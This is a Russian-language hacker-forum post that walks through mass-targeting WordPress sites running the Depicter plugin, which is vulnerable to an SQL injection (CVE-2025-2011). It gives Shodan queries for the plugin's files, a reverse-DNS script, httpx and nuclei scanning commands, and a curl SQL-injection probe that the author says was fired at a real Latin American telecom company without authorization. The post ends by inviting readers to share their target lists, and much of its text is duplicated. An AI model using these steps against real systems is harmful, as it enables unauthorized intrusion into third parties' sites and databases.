Автор akulapera для форума LIMB
Сегодня рассмотрим довольно простой концепт. На основе описания известного CVE мы будем искать где же в вебе это применить, ещё чтоб что-то годное из этого извлечь.
Содержание:
Извлечение информации из описания уязвимости
Для написания я выбрал CVE:2025‑2011 просто потому что люблю скули.
Описание найдёте тут - https://nvd.nist.gov/vuln/detail/CVE-2025-2011
Кратко говоря уязвимость затрагивает WP плагин The Slider & Popup Builder by Depicter - https://wordpress.org/plugins/depicter/ вплоть до 3.6.1 версии.
Дальше его успешно пропатчили, поэтому нам не интересно.
Переходим к самому описанию и видим что Affected Endpoint: AJAX action: leads_search, routed through WordPress' admin-ajax.php.
Значит будем искать связанные паттерны через Shodan.
Работа с паттернами и энумерация потенц.таргетов
Откровенно говоря, пришлось помудрить, поговорить с ГПТ, применить смекалку и пройти 9 кругов ада в поисках подходящих паттернов именно под эту CVE.
Выдался список запросов не малый, часть из них -
Кому интересно это всё делать иначе, то с этим так же может помочь CommonCrawl, которй парсит по заголовкам и коду вебстраниц в поисках ваших запросов.
Вполне прекрасно автоматизируется через api и аплоада всех индексов.
Из недостатков - он платный.
Определение информации о таргете
Будем проводить небольшое углублённое изучение через dig.
Собрав список адресов, я хочу через reverse dns получить к ним названия хостов.
Это позволит нам перейти к сканированию на плагины.
Пока мы получаем ответ, можно посмотреть какие дополнительные зацепки даст theHarvester или тот же whois, либо другие ваши любимые инструменты.
Всё расписывать не буду, можно почитать мою предыдущую статью.
В какой-то мере потму что Shodan иногда выдаёт не нормальные ip или домены, а названия машин или нерелевантную инфу.
Определяем для начала живые хосты, чтобы сузить список таргетов.
У меня latam пример - телеком компания.
Были банально первые в списке.
Так как компания довольно крупная, получилось найти не мало различных эндпонинтов, имейлов, доменов, но нас интересует конкретный хост полученный предыдущими шагами.
Поиск патернов и определние стека для подтверждения
Теперь начинаем подтверждать наличие не банальных следов плагина, а именно тех стека инфры.
Всё же пробовать стоит выцепить веб страницу через вариации curl меняя данные, скоращая директории и тп.
После получения хотя бы какого-то ответа от хоста, можно пробовать сканировать его на признаки злополучного плагина.
В моём кейсе дата была в виде - XXX-XXX-XXX-XXX.host.domainname.dl.tld, потому и пришлось варьировать редактируя адрес или имя хостнейма, убирая субдомены, натыкаясь на WAF и тп.
Httpx в помощь
Мы извлекая все значения из эннумерации переходим к проверке стека через httpx и подтверждаем что там есть WP + данный плагин.
Хочешь быть модным? Используй nuclei с кастомным .yaml.
Апдейтим темплейты
Создаём темплейт .yaml в примерном формате
Попросту запускаем через
Можно использовать и wpscan если б не waf-
Wappalyzer или webanalyer тоже не обходим стороной, либо же разогреваем sqlpmap и автоматизируем через него.
Подтверждение наличия уязвимости и SQLi
Снова обращаемся к описанию CVE.
Есть хост, его адрес, директория к плагину, поэтому почему бы и не попробовать подтвердить версию плагина.
Сделать это можно обходом WAF и доступу к
Как итог - я считаю, что бразильцам точно надо подсказать про то что у них всё плохо.
Всё же члены БРИКС.
Подтвердим концепт.
Отправим для пруфа
Получим ответ, да и закончим на этом.
Бразильцам - “hola”, а ребятам с CVE-2025-1321 - соболезную.
Пробуй ревёрс поиск и пиши в комментариях как и по какой CVE получилось найти список таргетов.
Не удалось прогрузить медиа
Сегодня рассмотрим довольно простой концепт. На основе описания известного CVE мы будем искать где же в вебе это применить, ещё чтоб что-то годное из этого извлечь.
Содержание:
- Извлечение информации из описания уязвимости
- Работа с open-source паттернами и энумерация потенц.таргетов
- Определение информации о таргете
- Подтверждение наличия уязвимости к CVE
Дисклеймер:
Описанное в статье вымышлено и делалось с рандомным доменом и случайно выбранным CVE. Во вемя написании ни один корп не пострадал.
Любые пути автоматизации на ваше усотрение.
Описанное в статье вымышлено и делалось с рандомным доменом и случайно выбранным CVE. Во вемя написании ни один корп не пострадал.
Любые пути автоматизации на ваше усотрение.
Извлечение информации из описания уязвимости
Для написания я выбрал CVE:2025‑2011 просто потому что люблю скули.
Описание найдёте тут - https://nvd.nist.gov/vuln/detail/CVE-2025-2011
Не удалось прогрузить медиа
Кратко говоря уязвимость затрагивает WP плагин The Slider & Popup Builder by Depicter - https://wordpress.org/plugins/depicter/ вплоть до 3.6.1 версии.
Дальше его успешно пропатчили, поэтому нам не интересно.
Переходим к самому описанию и видим что Affected Endpoint: AJAX action: leads_search, routed through WordPress' admin-ajax.php.
Значит будем искать связанные паттерны через Shodan.
Работа с паттернами и энумерация потенц.таргетов
Откровенно говоря, пришлось помудрить, поговорить с ГПТ, применить смекалку и пройти 9 кругов ада в поисках подходящих паттернов именно под эту CVE.
Выдался список запросов не малый, часть из них -
Запросами получилось собрать небольшой список где же мы видим сейчас активными следы данного плагина.http.html:"/wp-content/plugins/depicter/"
http.html:"depicter.js"
http.html:"depicter.css"
http.html:"wp-content/plugins/" "depicter"
Не удалось прогрузить медиа
Кому интересно это всё делать иначе, то с этим так же может помочь CommonCrawl, которй парсит по заголовкам и коду вебстраниц в поисках ваших запросов.
Вполне прекрасно автоматизируется через api и аплоада всех индексов.
Из недостатков - он платный.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Определение информации о таргете
Будем проводить небольшое углублённое изучение через dig.
Собрав список адресов, я хочу через reverse dns получить к ним названия хостов.
Bash:
while read ip; do
host=$(dig -x $ip +short | sed 's/\.$//')
echo "$ip,$host"
done < спсиок_ip.txt > ipи_host.csv
Не удалось прогрузить медиа
Это позволит нам перейти к сканированию на плагины.
Пока мы получаем ответ, можно посмотреть какие дополнительные зацепки даст theHarvester или тот же whois, либо другие ваши любимые инструменты.
Всё расписывать не буду, можно почитать мою предыдущую статью.
В какой-то мере потму что Shodan иногда выдаёт не нормальные ip или домены, а названия машин или нерелевантную инфу.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Определяем для начала живые хосты, чтобы сузить список таргетов.
Не удалось прогрузить медиа
У меня latam пример - телеком компания.
Не удалось прогрузить медиа
Были банально первые в списке.
Так как компания довольно крупная, получилось найти не мало различных эндпонинтов, имейлов, доменов, но нас интересует конкретный хост полученный предыдущими шагами.
Поиск патернов и определние стека для подтверждения
Теперь начинаем подтверждать наличие не банальных следов плагина, а именно тех стека инфры.
Всё же пробовать стоит выцепить веб страницу через вариации curl меняя данные, скоращая директории и тп.
Не удалось прогрузить медиа
После получения хотя бы какого-то ответа от хоста, можно пробовать сканировать его на признаки злополучного плагина.
В моём кейсе дата была в виде - XXX-XXX-XXX-XXX.host.domainname.dl.tld, потому и пришлось варьировать редактируя адрес или имя хостнейма, убирая субдомены, натыкаясь на WAF и тп.
Httpx в помощь
Bash:
httpx -l ipиhost.txt -path /wp-login.php -mc 200 -silent -o wp_список.txt
Мы извлекая все значения из эннумерации переходим к проверке стека через httpx и подтверждаем что там есть WP + данный плагин.
Bash:
httpx -l ваш_файл.txt \
-path /wp-content/plugins/depicter/readme.txt \
-status-code \
-title \
-silent \
-o результат.txt
Не удалось прогрузить медиа
Хочешь быть модным? Используй nuclei с кастомным .yaml.
Bash:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
Апдейтим темплейты
nuclei -update-templatesСоздаём темплейт .yaml в примерном формате
YAML:
id: CVE-ХХХ-ХХХ
info:
name: WordPress Depicter Plugin - Information Disclosure
author: yourname
severity: medium
description: Detects exposed readme.txt file in Depicter plugin which may reveal version info.
tags: wordpress,plugin,depicter,cve
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/depicter/readme.txt"
matchers:
- type: status
status:
- 200
- type: word
words:
- "Depicter"
Попросту запускаем через
nuclei -l lдомены.txt -t путь/к/файл.yaml -o файл.txtМожно использовать и wpscan если б не waf-
Не удалось прогрузить медиа
Wappalyzer или webanalyer тоже не обходим стороной, либо же разогреваем sqlpmap и автоматизируем через него.
Подтверждение наличия уязвимости и SQLi
Снова обращаемся к описанию CVE.
Есть хост, его адрес, директория к плагину, поэтому почему бы и не попробовать подтвердить версию плагина.
Сделать это можно обходом WAF и доступу к
http://wp-content/plugins/depicter/readme.txt поискав там теги Stable tag: или Version:Как итог - я считаю, что бразильцам точно надо подсказать про то что у них всё плохо.
Всё же члены БРИКС.
Подтвердим концепт.
/wp-admin/admin-ajax.php?action=leads_search&s=пейлоад - должен нам дать ответ от sql db. Отправим для пруфа
Bash:
curl -i --resolve host:80:IP 'http://XXX.XXX.XXX.XXX.host.domainname.d.tld//wp-admin/admin-ajax.php?action=leads_search&s=1\''
Не удалось прогрузить медиа
Получим ответ, да и закончим на этом.
Бразильцам - “hola”, а ребятам с CVE-2025-1321 - соболезную.
Не удалось прогрузить медиа
Пробуй ревёрс поиск и пиши в комментариях как и по какой CVE получилось найти список таргетов.
👍73
❤️23
🔥7
😢7
💯19
LIMB